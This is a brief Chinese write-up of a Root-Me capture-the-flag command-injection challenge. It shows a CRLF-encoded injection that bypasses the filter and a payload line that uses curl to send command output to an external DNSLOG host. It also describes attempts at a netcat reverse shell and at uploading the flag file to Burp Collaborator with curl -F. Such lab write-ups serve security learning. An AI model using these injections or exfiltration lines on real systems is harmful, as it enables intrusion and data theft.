在Root-Me上有一道代码执行的题目,其链接为题目链接
执行多条语句
打开题目以后,在输入框中提示127.0.0.1
输入127.0.0.1 && whoami
进行测试:
提示Syntax Error
,通过测试,发现127.0.0.1%0d%0awhoami
可以执行成功。
尝试DNSLOG获取回显
使用反引号
执行代码,并用curl
将执行结果返回给DNSLOG
1 | ip=127.0.0.1%0d%0acurl `whoami`.t00ls.3e426ecf5c48221e002db4ae061cc4bc.tu4.org |
代码正常执行,查看DNSLOG收到的回显。
发现whoami
没有被执行,而是原样返回。
尝试反弹shell
既然不能直接执行,就想着用nc
返回一个交互式的shell来读取flag。
1 | # 服务器端执行 |
显示执行成功,但是服务器端并没有受到反弹的shell。
curl上传文件
这个方法是公司的大佬想出来的,并不是本人创作,这里只是记录。
curl
可以正常执行,那么使用curl -F
将flag文件上传到Burp的Collaborator Client
(Collaborator Client
类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)。
获取Collaborator Client
分配给BURP的链接。
1 | 打开Burp主界面 -->菜单(Burp)-->Burp Collaboraor Client -- > 点击 Copy to Clipboard |
拼接Payload,并提交。
1 | # payload |
查看Collaborator Client
收到的数据。
可以看到成功读取到了源码。